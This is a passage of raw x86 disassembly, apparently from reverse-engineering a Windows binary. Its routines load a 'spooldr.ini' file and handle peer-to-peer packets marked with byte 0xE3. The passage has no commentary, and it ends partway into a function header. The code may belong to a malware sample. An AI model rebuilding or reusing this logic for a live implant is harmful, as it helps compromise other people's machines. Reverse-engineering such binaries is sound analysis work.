loc_40B96D:				; CODE XREF: sub_40B8DC+86j
					; sub_40B8DC+F9j
		push	dword ptr [esi+4]
		mov	ecx, ebx
		push	dword ptr [esi]
		call	sub_40B693
		push	dword ptr [esi+14h]
		call	ds:dword_4180E8
		push	esi
		call	sub_40D0B6
		pop	ecx
		lea	ecx, [ebp+var_128]
		call	sub_40B787
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_40B99B:				; CODE XREF: sub_40B8DC+5Cj
		push	dword ptr [edi+0Ch]
		mov	ecx, ebx
		push	dword ptr [edi+8]
		call	sub_40A879
		jmp	short loc_40B9B5
; ---------------------------------------------------------------------------


loc_40B9AA:				; CODE XREF: sub_40B8DC+58j
		push	dword ptr [edi+4]
		mov	ecx, ebx
		push	eax
		call	sub_40A7E2


loc_40B9B5:				; CODE XREF: sub_40B8DC+4Bj
					; sub_40B8DC+61j ...
		push	1
		mov	ecx, edi
		call	sub_409FC4


loc_40B9BE:				; CODE XREF: sub_40B8DC+41j
		push	5
		lea	ecx, [ebp+var_128]
		call	sub_40A0C2
		mov	edi, eax
		test	edi, edi
		jnz	loc_40B922
		jmp	short loc_40B96D
sub_40B8DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B9D7	proc near		; DATA XREF: sub_40BD87+97o

var_134		= byte ptr -134h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 134h
		push	ebx
		mov	[ebp+var_4], ecx
		push	esi
		lea	ecx, [ebp+var_134]
		call	sub_40B199
		mov	esi, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		lea	eax, [ebp+var_134]
		push	eax
		push	dword ptr [esi+24h]
		push	dword ptr [esi+20h]
		call	sub_40B879
		movzx	eax, byte ptr [esi+28h]
		mov	ecx, [ebp+var_4]
		push	esi
		push	eax
		push	dword ptr [esi+24h]
		push	dword ptr [esi+20h]
		call	sub_40A6A8
		push	5
		lea	ecx, [ebp+var_134]
		call	sub_40A0C2
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_40BA70
		push	edi


loc_40BA30:				; CODE XREF: sub_40B9D7+1D3j
		mov	eax, [ebx]
		cmp	byte ptr [eax],	0E3h
		jnz	loc_40BB90
		movzx	ecx, byte ptr [eax+1]
		sub	ecx, 0Bh
		jz	loc_40BB84
		push	2
		pop	edx
		sub	ecx, edx
		jz	loc_40BB74
		sub	ecx, edx
		jz	short loc_40BAB6
		sub	ecx, edx
		jz	short loc_40BA9F
		dec	ecx
		jnz	loc_40BB90


loc_40BA62:				; CODE XREF: sub_40B9D7+16Dj
					; sub_40B9D7+17Cj
		test	ebx, ebx
		jz	short loc_40BA6F
		push	1
		mov	ecx, ebx
		call	sub_409FC4


loc_40BA6F:				; CODE XREF: sub_40B9D7+8Dj
					; sub_40B9D7+1D9j
		pop	edi


loc_40BA70:				; CODE XREF: sub_40B9D7+56j
		push	dword ptr [esi+24h]
		mov	ecx, [ebp+var_4]
		push	dword ptr [esi+20h]
		call	sub_40B693
		push	dword ptr [esi+30h]
		call	ds:dword_4180E8
		push	esi
		call	sub_40D0B6
		pop	ecx
		lea	ecx, [ebp+var_134]
		call	sub_40B787
		pop	esi
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_40BA9F:				; CODE XREF: sub_40B9D7+82j
		mov	ecx, [ebx+4]
		sub	ecx, edx
		push	ecx
		mov	ecx, [esi+3Ch]
		add	eax, 2
		push	eax
		call	sub_409CF6
		jmp	loc_40BB90
; ---------------------------------------------------------------------------


loc_40BAB6:				; CODE XREF: sub_40B9D7+7Ej
		lea	edi, [eax+2]
		push	edi
		push	esi
		call	sub_409EAD
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_40BB90
		add	edi, 10h
		movzx	eax, byte ptr [edi]
		mov	ecx, eax
		imul	ecx, 17h
		add	ecx, 13h
		inc	edi
		cmp	[ebx+4], ecx
		jnz	loc_40BB90
		test	eax, eax
		jbe	short loc_40BB2E
		mov	[ebp+var_8], eax


loc_40BAE9:				; CODE XREF: sub_40B9D7+155j
		lea	eax, [esi+10h]
		push	eax
		push	edi
		call	sub_409EC5
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40BB26
		lea	eax, [edi+10h]
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_409735
		mov	[ebp+var_C], eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40970B
		pop	ecx
		pop	ecx
		mov	ecx, [esi+34h]
		movzx	eax, ax
		push	eax
		push	[ebp+var_C]
		push	edi
		call	sub_40A3A4


loc_40BB26:				; CODE XREF: sub_40B9D7+120j
		add	edi, 17h
		dec	[ebp+var_8]
		jnz	short loc_40BAE9


loc_40BB2E:				; CODE XREF: sub_40B9D7+10Dj
		push	dword ptr [esi+24h]
		mov	ecx, [esi+38h]
		push	dword ptr [esi+20h]
		lea	eax, [esi+10h]
		push	eax
		call	sub_40A3A4
		cmp	byte ptr [esi+28h], 2
		jnz	loc_40BA62
		mov	eax, [esi+3Ch]
		mov	eax, [eax+4]
		cmp	eax, [esi+2Ch]
		jnb	loc_40BA62
		movzx	eax, word ptr [esi+2Ch]
		mov	ecx, [ebp+var_4]
		push	eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	esi
		push	dword ptr [esi+24h]
		push	dword ptr [esi+20h]
		call	sub_40A6EB
		jmp	short loc_40BB90
; ---------------------------------------------------------------------------


loc_40BB74:				; CODE XREF: sub_40B9D7+76j
		push	dword ptr [ebx+0Ch]
		mov	ecx, [ebp+var_4]
		push	dword ptr [ebx+8]
		call	sub_40A879
		jmp	short loc_40BB90
; ---------------------------------------------------------------------------


loc_40BB84:				; CODE XREF: sub_40B9D7+6Bj
		push	dword ptr [ebx+4]
		mov	ecx, [ebp+var_4]
		push	eax
		call	sub_40A7E2


loc_40BB90:				; CODE XREF: sub_40B9D7+5Ej
					; sub_40B9D7+85j ...
		push	1
		mov	ecx, ebx
		call	sub_409FC4
		push	5
		lea	ecx, [ebp+var_134]
		call	sub_40A0C2
		mov	ebx, eax
		test	ebx, ebx
		jnz	loc_40BA30
		jmp	loc_40BA6F
sub_40B9D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BBB5	proc near		; CODE XREF: sub_40BF8E+11p
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_40A442
		mov	dword ptr [esi+68h], offset off_41C134
		push	1
		lea	ecx, [esi+6Ch]
		mov	dword ptr [esi], offset	off_41C18C
		mov	dword ptr [esi+68h], offset off_41C164
		call	sub_4012FC
		xor	ebx, ebx
		xor	ecx, ecx
		mov	[esi+84h], ecx
		xor	eax, eax
		mov	[esi+80h], eax
		mov	[esi+78h], ebx
		mov	[esi+74h], ebx
		mov	[esi+9Ch], ecx
		lea	ecx, [esi+0A0h]
		mov	[esi+98h], eax
		mov	[esi+90h], ebx
		mov	[esi+8Ch], ebx
		call	sub_40E0AC
		mov	edi, ds:dword_4180D4
		lea	eax, [esi+0ACh]
		push	eax
		call	edi
		lea	eax, [esi+0C8h]
		mov	[eax], ebx
		mov	[eax+4], ebx
		lea	eax, [esi+0D0h]
		push	eax
		call	edi
		mov	eax, offset sub_40B7CD
		mov	[esi+98h], eax
		mov	[esi+8Ch], ebx
		mov	[esi+90h], esi
		xor	ecx, ecx
		mov	[esi+9Ch], ecx
		mov	eax, offset sub_40B56E
		mov	[esi+80h], eax
		pop	edi
		mov	[esi+74h], ebx
		mov	[esi+84h], ecx
		mov	[esi+78h], esi
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_40BBB5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BC77	proc near		; DATA XREF: sub_40BFB2+ADo

var_128		= byte ptr -128h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 128h
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	ecx, [ebp+var_128]
		call	sub_40B199
		mov	esi, [ebp+arg_0]
		lea	eax, [ebp+var_128]
		push	eax
		push	dword ptr [esi+4]
		mov	ecx, edi
		push	dword ptr [esi]
		call	sub_40B879
		push	dword ptr [esi+4]
		mov	ecx, edi
		push	dword ptr [esi]
		call	sub_40A639
		jmp	loc_40BD6B
; ---------------------------------------------------------------------------


loc_40BCB7:				; CODE XREF: sub_40BC77+105j
		mov	eax, [ebx]
		cmp	byte ptr [eax],	0E3h
		jnz	loc_40BD62
		movzx	ecx, byte ptr [eax+1]
		sub	ecx, 0Bh
		jz	loc_40BD57
		dec	ecx
		dec	ecx
		jz	short loc_40BD25
		sub	ecx, 0Fh
		jnz	loc_40BD62
		inc	eax
		inc	eax
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_409735
		pop	ecx
		push	1
		mov	ecx, ebx
		mov	[edi+8], eax
		call	sub_409FC4


loc_40BCF7:				; CODE XREF: sub_40BC77+10Bj
		push	dword ptr [esi+4]
		mov	ecx, edi
		push	dword ptr [esi]
		call	sub_40B693
		push	dword ptr [esi+0Ch]
		call	ds:dword_4180E8
		push	esi
		call	sub_40D0B6
		pop	ecx
		lea	ecx, [ebp+var_128]
		call	sub_40B787
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_40BD25:				; CODE XREF: sub_40BC77+5Aj
		mov	eax, [esi+8]
		mov	byte ptr [eax],	1
		push	dword ptr [esi+4]
		mov	ecx, edi
		push	dword ptr [esi]
		call	sub_40A627
		cmp	byte ptr [edi+0E8h], 0
		jz	short loc_40BD46
		cmp	dword ptr [edi+8], 0
		jnz	short loc_40BD62


loc_40BD46:				; CODE XREF: sub_40BC77+C7j
		push	dword ptr [edi+14h]
		mov	ecx, edi
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_40A64B
		jmp	short loc_40BD62
; ---------------------------------------------------------------------------


loc_40BD57:				; CODE XREF: sub_40BC77+52j
		push	dword ptr [ebx+4]
		mov	ecx, edi
		push	eax
		call	sub_40A7E2


loc_40BD62:				; CODE XREF: sub_40BC77+45j
					; sub_40BC77+5Fj ...
		push	1
		mov	ecx, ebx
		call	sub_409FC4


loc_40BD6B:				; CODE XREF: sub_40BC77+3Bj
		push	0Ah
		lea	ecx, [ebp+var_128]
		call	sub_40A0C2
		mov	ebx, eax
		test	ebx, ebx
		jnz	loc_40BCB7
		jmp	loc_40BCF7
sub_40BC77	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BD87	proc near		; CODE XREF: sub_40C149+49p
					; sub_40C29A+41p

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= byte ptr -40h
var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		push	ebx
		push	esi
		mov	ebx, ecx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_409BF1
		lea	eax, [ebx+30h]
		push	eax
		call	ds:dword_4180DC
		push	19h
		pop	edi
		push	edi
		push	edi
		push	1
		lea	eax, [ebp+var_48]
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebx+18h]
		lea	esi, [ebx+28h]
		push	eax
		mov	ecx, esi
		call	sub_40A260
		sub	edi, [ebp+var_44]
		mov	esi, [esi]
		jmp	short loc_40BDFC
; ---------------------------------------------------------------------------


loc_40BDC7:				; CODE XREF: sub_40BD87+77j
		test	edi, edi
		jle	short loc_40BE00
		test	esi, esi
		jz	short loc_40BDD3
		mov	eax, [esi]
		jmp	short loc_40BDD5
; ---------------------------------------------------------------------------


loc_40BDD3:				; CODE XREF: sub_40BD87+46j
		xor	eax, eax


loc_40BDD5:				; CODE XREF: sub_40BD87+4Aj
		cmp	byte ptr [eax+1Dh], 0
		jz	short loc_40BDF5
		cmp	byte ptr [eax+1Ch], 2
		jnb	short loc_40BDF5
		push	dword ptr [eax+14h]
		lea	ecx, [ebp+var_48]
		push	dword ptr [eax+10h]
		push	eax
		call	sub_40A3A4
		test	al, al
		jz	short loc_40BDF5
		dec	edi


loc_40BDF5:				; CODE XREF: sub_40BD87+52j
					; sub_40BD87+58j ...
		test	esi, esi
		jz	short loc_40BE00
		mov	esi, [esi+4]


loc_40BDFC:				; CODE XREF: sub_40BD87+3Ej
		test	esi, esi
		jnz	short loc_40BDC7


loc_40BE00:				; CODE XREF: sub_40BD87+42j
					; sub_40BD87+70j
		lea	eax, [ebx+30h]
		push	eax
		call	ds:dword_4180E0
		xor	esi, esi
		push	esi
		mov	[ebp+var_C], esi
		call	sub_40CFAE
		add	eax, [ebp+arg_10]
		pop	ecx
		mov	[ebp+var_10], eax
		xor	ecx, ecx
		mov	eax, offset sub_40B9D7
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], ecx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_24], esi
		mov	byte ptr [ebp+arg_10+3], cl
		jmp	loc_40BF76
; ---------------------------------------------------------------------------


loc_40BE37:				; CODE XREF: sub_40BD87+1F2j
		cmp	byte ptr [ebp+arg_10+3], 0
		jnz	loc_40BF7F
		lea	eax, [ebp+var_40]
		push	eax
		call	ds:dword_4180DC
		mov	eax, [ebp+var_48]
		cmp	eax, esi
		mov	[ebp+var_8], eax
		jz	loc_40BF51
		cmp	[ebp+arg_4], 0
		setz	al
		lea	eax, [eax+eax+2]
		mov	[ebp+var_1], al


loc_40BE67:				; CODE XREF: sub_40BD87+1B7j
		lea	eax, [ebp+var_C]
		push	eax
		call	ds:dword_4180E4
		mov	eax, [ebp+var_8]
		test	eax, eax
		jz	short loc_40BE7C
		mov	edi, [eax]
		jmp	short loc_40BE7E
; ---------------------------------------------------------------------------


loc_40BE7C:				; CODE XREF: sub_40BD87+EFj
		xor	edi, edi


loc_40BE7E:				; CODE XREF: sub_40BD87+F3j
		push	40h
		call	sub_40D0BB
		push	[ebp+arg_0]
		mov	esi, eax
		push	esi
		call	sub_409E90
		lea	eax, [esi+10h]
		push	edi
		push	eax
		call	sub_409E90
		mov	eax, [edi+10h]
		mov	[esi+20h], eax
		mov	eax, [edi+14h]
		mov	[esi+24h], eax
		mov	al, [ebp+var_1]
		mov	[esi+28h], al
		mov	eax, [ebp+arg_C]
		mov	[esi+2Ch], eax
		lea	eax, [ebp+var_48]
		mov	[esi+34h], eax
		mov	eax, [ebp+arg_14]
		mov	[esi+38h], eax
		mov	eax, [ebp+arg_18]
		mov	[esi+3Ch], eax
		lea	eax, [ebp+var_C]
		add	esp, 14h
		mov	ecx, edi
		mov	[esi+30h], eax
		call	nullsub_1
		push	edi
		call	sub_40D0B6
		mov	eax, [ebp+var_8]
		mov	edi, [eax+4]
		pop	ecx
		push	eax
		lea	ecx, [ebp+var_48]
		call	sub_4041B2
		push	esi
		lea	ecx, [ebp+var_28]
		mov	[ebp+var_8], edi
		call	sub_40B36C
		mov	esi, [ebp+arg_8]
		cmp	[ebp+var_C], esi
		jle	short loc_40BF2D
		lea	eax, [ebp+var_40]
		push	eax
		call	ds:dword_4180E0
		mov	eax, esi
		cdq
		sub	eax, edx
		push	64h
		sar	eax, 1
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		mov	ecx, ebx
		call	sub_40B103
		lea	eax, [ebp+var_40]
		push	eax
		call	ds:dword_4180DC
		mov	eax, [ebp+var_48]
		mov	[ebp+var_8], eax


loc_40BF2D:				; CODE XREF: sub_40BD87+175j
		push	0
		call	sub_40CFAE
		cmp	eax, [ebp+var_10]
		pop	ecx
		jg	short loc_40BF46
		cmp	[ebp+var_8], 0
		jnz	loc_40BE67
		jmp	short loc_40BF51
; ---------------------------------------------------------------------------


loc_40BF46:				; CODE XREF: sub_40BD87+1B1j
		mov	ecx, ebx
		call	sub_40B6F9
		mov	byte ptr [ebp+arg_10+3], 1


loc_40BF51:				; CODE XREF: sub_40BD87+CCj
					; sub_40BD87+1BDj
		lea	eax, [ebp+var_40]
		push	eax
		call	ds:dword_4180E0
		push	64h
		xor	esi, esi
		push	esi
		lea	eax, [ebp+var_C]
		push	eax
		mov	ecx, ebx
		call	sub_40B103
		push	esi
		push	[ebp+arg_14]
		mov	ecx, ebx
		call	sub_40AA1A


loc_40BF76:				; CODE XREF: sub_40BD87+ABj
		cmp	[ebp+var_44], esi
		jg	loc_40BE37


loc_40BF7F:				; CODE XREF: sub_40BD87+B4j
		lea	ecx, [ebp+var_48]
		call	sub_40A168
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	1Ch
sub_40BD87	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BF8E	proc near		; CODE XREF: sub_403389+B2p
		push	0F0h
		call	sub_40D0BB
		test	eax, eax
		pop	ecx
		jz	short loc_40BFA6
		mov	ecx, eax
		call	sub_40BBB5
		jmp	short loc_40BFA8
; ---------------------------------------------------------------------------


loc_40BFA6:				; CODE XREF: sub_40BF8E+Dj
		xor	eax, eax


loc_40BFA8:				; CODE XREF: sub_40BF8E+16j
		lea	ecx, [eax+68h]
		neg	eax
		sbb	eax, eax
		and	eax, ecx
		retn
sub_40BF8E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFB2	proc near		; DATA XREF: .rdata:off_41C164o

var_48		= byte ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		push	esi
		mov	esi, ecx
		push	edi
		lea	eax, [esi-40h]
		push	eax
		lea	eax, [esi-54h]
		push	eax
		lea	ecx, [esi-58h]
		push	ecx
		lea	edi, [esi-5Ch]
		push	edi
		push	offset aSpooldr_ini_0 ;	"spooldr.ini"
		lea	ecx, [esi+5Ch]
		call	sub_409866
		test	eax, eax
		jg	short loc_40BFE4
		xor	al, al
		jmp	loc_40C145
; ---------------------------------------------------------------------------


loc_40BFE4:				; CODE XREF: sub_40BFB2+29j
		push	ebx
		lea	ecx, [esi+38h]
		push	1
		call	sub_40D9FD
		movzx	eax, word ptr [esi-58h]
		xor	ebx, ebx
		push	ebx
		push	eax
		lea	ecx, [esi+38h]
		call	sub_40DA80
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40C00B
		xor	al, al
		jmp	loc_40C144
; ---------------------------------------------------------------------------


loc_40C00B:				; CODE XREF: sub_40BFB2+50j
		push	ebx
		lea	ecx, [esi+20h]
		call	sub_40B3A7
		push	ebx
		push	ebx
		mov	[edi], ebx
		push	1
		mov	eax, offset sub_40B29D
		lea	edi, [esi-68h]
		push	ebx
		mov	[esi-60h], ebx
		mov	[esi+80h], bl
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_28], edi
		mov	[ebp+var_2C], ebx
		call	ds:dword_4180A0
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	ecx, [ebp+var_30]
		call	sub_40B3A7
		push	ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_1], bl
		call	sub_40CFAE
		add	eax, 3Ch
		mov	[ebp+var_18], eax
		mov	eax, offset sub_40BC77
		mov	[ebp+var_38], eax
		mov	eax, [esi-40h]
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_34], ebx
		mov	[ebp+var_40], edi
		mov	[ebp+var_44], ebx
		mov	[ebp+var_C], eax
		jz	loc_40C109
		jmp	short loc_40C084
; ---------------------------------------------------------------------------


loc_40C081:				; CODE XREF: sub_40BFB2+14Cj
		mov	eax, [ebp+var_C]


loc_40C084:				; CODE XREF: sub_40BFB2+CDj
		cmp	eax, ebx
		jz	short loc_40C08F
		mov	eax, [eax]
		mov	[ebp+var_14], eax
		jmp	short loc_40C092
; ---------------------------------------------------------------------------


loc_40C08F:				; CODE XREF: sub_40BFB2+D4j
		mov	[ebp+var_14], ebx


loc_40C092:				; CODE XREF: sub_40BFB2+DBj
		lea	eax, [ebp+var_8]
		push	eax
		call	ds:dword_4180E4
		push	10h
		call	sub_40D0BB
		pop	ecx
		mov	ecx, [ebp+var_14]
		mov	edx, [ecx+10h]
		mov	[eax], edx
		mov	ecx, [ecx+14h]
		mov	[eax+4], ecx
		lea	ecx, [ebp+var_1]
		mov	[eax+8], ecx
		lea	ecx, [ebp+var_8]
		mov	[eax+0Ch], ecx
		push	eax
		lea	ecx, [ebp+var_48]
		call	sub_40B36C
		push	64h
		push	14h
		lea	eax, [ebp+var_8]
		push	eax
		mov	ecx, edi
		call	sub_40B103
		cmp	[esi+80h], bl
		jz	short loc_40C0E3
		cmp	[ebp+var_1], bl
		jnz	short loc_40C102


loc_40C0E3:				; CODE XREF: sub_40BFB2+12Aj
		push	ebx
		call	sub_40CFAE
		cmp	eax, [ebp+var_18]
		pop	ecx
		jg	short loc_40C102
		mov	eax, [ebp+var_C]
		cmp	eax, ebx
		jz	short loc_40C109
		mov	eax, [eax+4]
		cmp	eax, ebx
		mov	[ebp+var_C], eax
		jnz	short loc_40C081
		jmp	short loc_40C109
; ---------------------------------------------------------------------------


loc_40C102:				; CODE XREF: sub_40BFB2+12Fj
					; sub_40BFB2+13Bj
		mov	ecx, edi
		call	sub_40B6F9


loc_40C109:				; CODE XREF: sub_40BFB2+C7j
					; sub_40BFB2+142j ...
		push	64h
		push	ebx
		lea	eax, [ebp+var_8]
		push	eax
		mov	ecx, edi
		call	sub_40B103
		push	[ebp+var_10]
		call	ds:dword_4180A8
		lea	ecx, [ebp+var_30]
		call	sub_40B150
		cmp	[ebp+var_1], bl
		jz	short loc_40C136
		push	ebx
		lea	ecx, [esi+8]
		call	sub_40B3DA


loc_40C136:				; CODE XREF: sub_40BFB2+179j
		push	[ebp+var_10]
		mov	bl, [ebp+var_1]
		call	ds:dword_4180A4
		mov	al, bl


loc_40C144:				; CODE XREF: sub_40BFB2+54j
		pop	ebx


loc_40C145:				; CODE XREF: sub_40BFB2+2Dj
		pop	edi
		pop	esi
		leave
		retn
sub_40BFB2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C149	proc near		; DATA XREF: .rdata:0041C16Co

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		push	ebx
		push	esi
		mov	esi, ecx
		lea	ecx, [ebp+var_10]
		call	sub_409AC6
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_10]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409AD5
		lea	ecx, [ebp+var_48]
		call	sub_409BF1
		xor	ebx, ebx
		push	ebx
		lea	eax, [ebp+var_48]
		push	eax
		push	[ebp+arg_10]
		add	esi, 0FFFFFF98h
		push	0C8h
		push	[ebp+arg_C]
		mov	ecx, esi
		push	ebx
		push	[ebp+arg_0]
		mov	[ebp+arg_8], esi
		call	sub_40BD87
		cmp	[ebp+var_44], ebx
		jle	loc_40C282
		push	ebx
		mov	[ebp+arg_4], ebx
		mov	[ebp+arg_0], ebx
		call	sub_40CFAE
		add	eax, [ebp+arg_10]
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, offset sub_40B8DC
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_48]
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+var_20], esi
		mov	[ebp+var_24], ebx
		mov	[ebp+arg_10], eax
		jz	loc_40C270
		push	edi


loc_40C1D3:				; CODE XREF: sub_40C149+116j
		lea	eax, [ebp+arg_0]
		push	eax
		call	ds:dword_4180E4
		mov	eax, [ebp+arg_10]
		cmp	eax, ebx
		jz	short loc_40C1E8
		mov	edi, [eax]
		jmp	short loc_40C1EA
; ---------------------------------------------------------------------------


loc_40C1E8:				; CODE XREF: sub_40C149+99j
		xor	edi, edi


loc_40C1EA:				; CODE XREF: sub_40C149+9Dj
		push	18h
		call	sub_40D0BB
		mov	esi, eax
		mov	eax, [edi+10h]
		mov	[esi], eax
		mov	eax, [edi+14h]
		mov	[esi+4], eax
		mov	eax, [ebp+var_8]
		mov	[esi+8], eax
		mov	eax, [ebp+var_C]
		mov	[esi+0Ch], eax
		lea	eax, [ebp+arg_4]
		mov	[esi+10h], eax
		pop	ecx
		lea	eax, [ebp+arg_0]
		mov	ecx, edi
		mov	[esi+14h], eax
		call	nullsub_1
		push	edi
		call	sub_40D0B6
		mov	eax, [ebp+arg_10]
		mov	edi, [eax+4]
		pop	ecx
		push	eax
		lea	ecx, [ebp+var_48]
		call	sub_4041B2
		push	esi
		lea	ecx, [ebp+var_28]
		mov	[ebp+arg_10], edi
		call	sub_40B36C
		mov	ecx, [ebp+arg_8]
		push	64h
		push	[ebp+arg_C]
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40B103
		push	ebx
		call	sub_40CFAE
		cmp	eax, [ebp+var_4]
		pop	ecx
		jg	short loc_40C267
		cmp	edi, ebx
		jnz	loc_40C1D3
		jmp	short loc_40C26F
; ---------------------------------------------------------------------------


loc_40C267:				; CODE XREF: sub_40C149+112j
		mov	ecx, [ebp+arg_8]
		call	sub_40B6F9


loc_40C26F:				; CODE XREF: sub_40C149+11Cj
		pop	edi


loc_40C270:				; CODE XREF: sub_40C149+83j
		mov	ecx, [ebp+arg_8]
		push	64h
		push	ebx
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40B103
		mov	ebx, [ebp+arg_4]


loc_40C282:				; CODE XREF: sub_40C149+51j
		lea	ecx, [ebp+var_48]
		call	sub_40A168
		lea	ecx, [ebp+var_10]
		call	sub_409ACD
		pop	esi
		mov	eax, ebx
		pop	ebx
		leave
		retn	14h
sub_40C149	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C29A	proc near		; DATA XREF: .rdata:0041C170o

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	esi
		push	edi
		mov	edi, ecx
		lea	ecx, [ebp+var_20]
		call	sub_409BF1
		push	20h
		call	sub_40D0BB
		test	eax, eax
		pop	ecx
		jz	short loc_40C2C3
		mov	ecx, eax
		call	sub_409BF1
		mov	esi, eax
		jmp	short loc_40C2C5
; ---------------------------------------------------------------------------


loc_40C2C3:				; CODE XREF: sub_40C29A+1Cj
		xor	esi, esi


loc_40C2C5:				; CODE XREF: sub_40C29A+27j
		push	esi
		lea	eax, [ebp+var_20]
		push	eax
		push	[ebp+arg_C]
		lea	ecx, [edi-68h]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_0]
		call	sub_40BD87
		lea	ecx, [ebp+var_20]
		call	sub_40A168
		pop	edi
		mov	eax, esi
		pop	esi
		leave
		retn	10h
sub_40C29A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C2F0	proc near		; CODE XREF: sub_402624+14Ep
					; sub_408361+102p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, esi
		shl	eax, 2
		push	3
		cdq
		pop	ecx
		idiv	ecx
		test	[esp+4+arg_4], 1
		mov	ecx, eax
		jnz	short loc_40C313
		mov	eax, esi
		push	3
		cdq
		pop	esi
		idiv	esi
		add	ecx, edx


loc_40C313:				; CODE XREF: sub_40C2F0+17j
		mov	eax, ecx
		push	4Ch
		cdq
		pop	esi
		idiv	esi
		test	edx, edx
		jz	short loc_40C335
		and	edx, 80000003h
		jns	short loc_40C32C
		dec	edx
		or	edx, 0FFFFFFFCh
		inc	edx


loc_40C32C:				; CODE XREF: sub_40C2F0+35j
		jz	short loc_40C335
		push	4
		pop	esi
		sub	esi, edx
		add	ecx, esi


loc_40C335:				; CODE XREF: sub_40C2F0+2Dj
					; sub_40C2F0:loc_40C32Cj
		test	[esp+4+arg_4], 2
		pop	esi
		jnz	short loc_40C341
		lea	ecx, [ecx+eax*2+2]


loc_40C341:				; CODE XREF: sub_40C2F0+4Bj
		mov	eax, ecx
		retn
sub_40C2F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C344	proc near		; CODE XREF: sub_402624+176p
					; sub_408361+136p ...

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
